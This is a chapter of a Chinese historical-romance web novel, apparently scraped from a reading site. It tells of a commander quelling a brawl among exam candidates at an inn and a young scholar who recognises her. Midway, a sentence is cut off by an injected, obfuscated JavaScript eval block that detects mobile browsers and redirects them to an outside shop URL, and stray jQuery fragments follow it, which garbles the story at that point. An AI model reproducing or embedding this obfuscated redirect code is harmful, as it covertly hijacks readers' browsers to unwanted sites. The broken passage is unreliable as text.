默认冷灰
24号文字
方正启体

5. 川顺客栈

作者:玄香引本书字数:K更新时间:
    “祁云,勿要多事。”冷清的嗓音自门内传来。


    李殊玉抬眼瞥去,只见小书童身后立着一道高大的侧影。距离太远,那人身形模糊,连眉目都辨不清。


    她很快收回视线,转而审视大堂中的众人。


    “公子,我......”祁云忙转身回屋,眼珠乱转,怕公子又生闷气,立刻站回书桌前,拿起墨条开始磨墨。


    沈恒站在门口,看着祁云做贼一般弓着身子溜进屋,他关上房门,并未理会楼下。他重新坐回案前,提笔继续写着纸上未尽的文章。


    祁云安静了半刻,耳朵竖得老高,听着楼下噼里啪啦的动静,心里直痒。他挪到一旁端过茶壶,替沈恒倒了杯茶,小心放在桌上,低声叹了口气。


    沈恒未抬头,“何事?”


    祁云小声道,“公子赚银子不易,花了不少钱才挑了个近些的客栈,为的就是省时省力,好安心准备会试。谁知竟遇上这么一群人。早知如此,还不如住远些,至少清净。”


    沈恒:“住得远了,你哪有热闹看?”


    祁云挠了挠头,嘿嘿一笑,“公子你没瞧见,方才外面那位大人好威风。”


    沈恒没有接话,笔下不停。


    祁云忍不住又道,“她一脚踩在凳子上,那凳子滋啦一声就裂开了。”


    沈恒放下笔,拿起一册书,目光落在书页上。


    祁云见他不说话,悻悻闭上嘴,悄然朝门边移动,只为听得更清楚些。


    “......一群饱读诗书的举子,不抓紧温书,却为些怪力乱神之事推搡扭打,我看这书都白读了。”李殊玉的声音从楼下传上来,隔着楼层只剩零星字句。


    祁云赞同道,“说得好!公子,那位大人说他们读的书都喂了狗。”


    沈恒皱眉抬眸,祁云正掀开一丝门缝偷听,他淡淡道,“粗俗。”


    “大人,是他!是他先抢的头号房!”


    一众书生中,忽然有一青衣书生夺步而出,指着另一名玄衣人。


    “我先你一步到客栈,径直问掌柜要头号房,何时抢了?”玄衣人冷笑道,“你来晚了没订到,就在此处嚷嚷闹事,引得众人都相继争抢,我看你根本不怀好心!”


    “胡搅蛮缠,我明明与你一同进的客栈!”


    “我先到的......”


    “啪!”


    李殊玉解下腰间配刀,重重放在桌上。


    正在争吵的两人立刻噤声,低头不敢再看李殊玉。


    “掌柜,他二人谁先来的?谁先来的,就给谁。”她话音刚落,人群中有人抗议道,“凭什么给他们!我们也是一同进来的!”


    李殊玉一个眼风扫过去,那人不由缩了缩,却仍硬着头皮与她对视。


    “人人都想住,自然是价高者得!”那人一身白衣,语气斩钉截铁。


    “对啊,既然分不出先来后到,那就价高者得!”有人附和。


    李殊玉不理会他们,望向掌柜,“掌柜,谁先来的?”


    掌柜瘫坐在地,半天没爬起来,他喘着气道,“小、小人也记不清了。”


    “那让我来,我出五百文!”


    “我出八百文!”


    “一两银子!”


    李殊玉脸色沉下来,一阵马蹄嘶鸣声响起,苏辰英心道不好。


    “李殊玉,今日怎么舍得跑到我的地盘来了?”来人是南城司指挥,段序。


    “中城里的客栈出事,我自然要来。”李殊玉理直气壮。


    “中城?往日可没见你朝这一方来过。”段序啧道。


    “川顺客栈,平日里上等房间八十文一晚,会试期间却涨到一百文。”段序慢悠悠走近,“可是掌柜贪心不足,放出房号预示名次的传言,又找人假装抢头号房,只为引得考生高价订房。李殊玉,我看你是成日管那些家长里短昏了头,竟连这点伎俩都看不出。”


    李殊玉眼中忍着怒意,“段序,你赶紧滚出去。我不想在此与你动手。”


    “被我戳破,生气了?”段序挑眉。


    “指挥大人,别......”苏辰英阻拦不及,李殊玉已经冲了过去。


    他只能对底下人示意,让他们后退离得远些。


    罢了,神仙打架,他这种小鬼还是躲远些。反正到时皇帝问罪,倒霉的永远是他。


    李殊玉抬腿扫向段序,他闪身避开,伸臂抵挡。李殊玉攻势愈猛,段序只得飞身跃上二楼。


    谁料李殊玉比他还快。


    她一把抓住段序的小腿,狠狠往下一扯。段序失去平衡,另一条腿蹬在祁云之前趴过的地方,木栏杆几欲被踹断,发出巨响。


    祁云本来开了条门缝偷看,吓得立刻关门,跑回沈恒身边。


    沈恒也被这声响惊动,笔尖微顿。


    他凝眉沉思,思索是否要换家客栈。


    段序被李殊玉拽下,猛地摔向一方木桌,砸出若干碎木。


    “咳,咳,李殊玉!你每次下手都这么重!”段序捂着胸口,实在气不过,嗓音高了些。


    二楼房内,沈恒蓦地停下了手中的笔,望向门口。


    他好像听到了......


    怔愣片刻,他收回视线。


    定是听错了。


    他敛住眼底的情绪,重新落笔,手却多了一丝不易察觉的颤抖。


    “嘁,手下败将。”李殊玉感觉舒坦不少,拍拍手,扬眉道,“既然归你南城管,我走了。我会如实回禀陛下,你行事无度,损毁百姓财物。”


    她早就想走了,一群书生闹事,打不得也骂不得,还好段序来得是时候。


    李殊玉转身,悄悄给苏辰英使了个眼色,快步上马,一行人扬长而去。


    “大人,您可有受伤?”段序的手下见他盯着门外一动不动,踟蹰问道。


    段序猝然回身,面无表情,“把掌柜带走。凡是多收了银两的住客,一律退还。其余人抓阄选房,留几个人继续守着。”


    掌柜跪地哭喊,“大人,小侯爷,饶命呐!”


    段序瞥了一圈呆若木鸡的考生,“至于掌柜找来哄抬房价的某些人......”其中有几个表情尴尬,眼神乱飘。


    “最好别让本官再看到你们。”段序说完,头也不回地走了。


    祁云听着外面没了动静,“公子,我出去看一眼。”他贴心地关好房门,不让任何人吵到沈恒。


    再次从二楼探出头,祁云差点被栏杆上的裂痕刮破衣裳。楼下除了几个身穿官服的人正在打扫,剩余的考生全部排好队站在一处,比进考场还要规矩。


    他跑下去笑嘻嘻地问道,“请问这位官爷,方才听你们喊的大人是......”


    段序手下的人也是火爆脾气,南城是京城中最多鱼龙混杂的地方,管理起来根本不能有好脸色。


    “我们大人是南城兵马司指挥。住店多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275008|198198||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    付了钱的去前头领回。没房的排队抽号。老实点!”


    祁云连连道谢,拿着退回的二十文,飞快跑回房间。


    “公子!”他兴冲冲道,“打听到了,是南城兵马司指挥!真厉害,下面的人都不敢闹了。”


    他献宝似的递给沈恒二十文,激动道,“公子你瞧,原来掌柜多收了银钱,她给咱们都退回来了!”


    沈恒瞧了一眼,“收好。”


    祁云照做,继续说道,“楼下还碎了几张桌椅,不过没见有人受伤。看来那位指挥大人,也只是吓吓这些不守规矩的人,真是人美心善。”


    他赫然抬头,“人美心善?”


    沈恒手中的笔倏地掉下,墨汁晕染了才写好的文章,顺着桌案滚落在地。


    祁云点头道,“我还是第一次见功夫如此厉害的女子,把那些人吓得跟鹌鹑一般。”


    是她。


    陡然变空的手,此刻紧攥成拳,白皙的手上,骨节清晰可见。


    他方才没听错。


    三年了,他忍不住打听过许多次。


    她的消息,如同刀刻一般,印在他的心上。


    灵瑶郡主,靖王独生女。十岁时,靖王夫妇过世,皇帝召她回京,留于京中长大。


    她自小习武,曾跟随西境军多次出征。却在一次西鞑大军来犯时,被靖王夫妇关在西境府,留下了一条命。


    为人爽朗大方,不拘小节,颇惹人喜爱。


    即使双亲不在,她也从不缺爱她的人。


    而他,只是一个平民百姓。


    “可惜公子方才没见着。”祁云惋惜道。


    “她是中城兵马司指挥。”沈恒静静说道。


    “啊?下面的几位官爷告诉我......”祁云察觉到他脸色难看,止住了声。


    沈恒眼中翻滚的情绪渐渐平复,将案上毁了的文章揉成团扔到一边,复又捡起地上的笔,在新铺的纸上从头细细写来。


    三年前,他十五岁,会因她一个轻皱的眉头而心慌意乱。


    三年后,他十八岁,终于能压住心里的波澜,不再让思绪肆意生长。


    他有他该做的事,他要考取功名,他要查清父母去世的真相,他从来不相信父母会双双意外跌落悬崖。


    暮云村,肯定有秘密。


    “公子,公子!”祁云见他状态不对,唤了几声。


    沈恒抬眼看他,祁云是他两年前从人牙子手上买回来的,浑身瘦得没有几两肉,眼神可怜。人牙子本就觉得卖不了几个钱,又怕祁云死在手上,一见沈恒开口问价就立马答应了。


    随着他大大小小考试顺利通过,他也能偶尔给人讲课赚些银子,孤身一人实在是忙不过来。虽说祁云是他的书童,可这书童饭也不会做,屋子也不大会收拾,平日里不添麻烦就谢天谢地了,那活泼的性子倒是有些像她.....


    沈恒移开目光,“你若是饿了,便拿着方才退回的余钱去买点吃的,我不饿。”说完又低下了头。


    “公子,你当心身体,哪有你这样没日没夜看书的,好在几日后就是会试了。”祁云歪着头,嘟囔道,“等公子中了状元,就能好好歇息了。”


    “慎言。”


    三日后,春闱到来。


    这是李殊玉有了官职以来,最重要的一件差事。


    然而,她前一日吃了荀姨做的甜瓜炒肉,拉了半宿肚子。此刻站在贡院门口,脚步虚浮。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)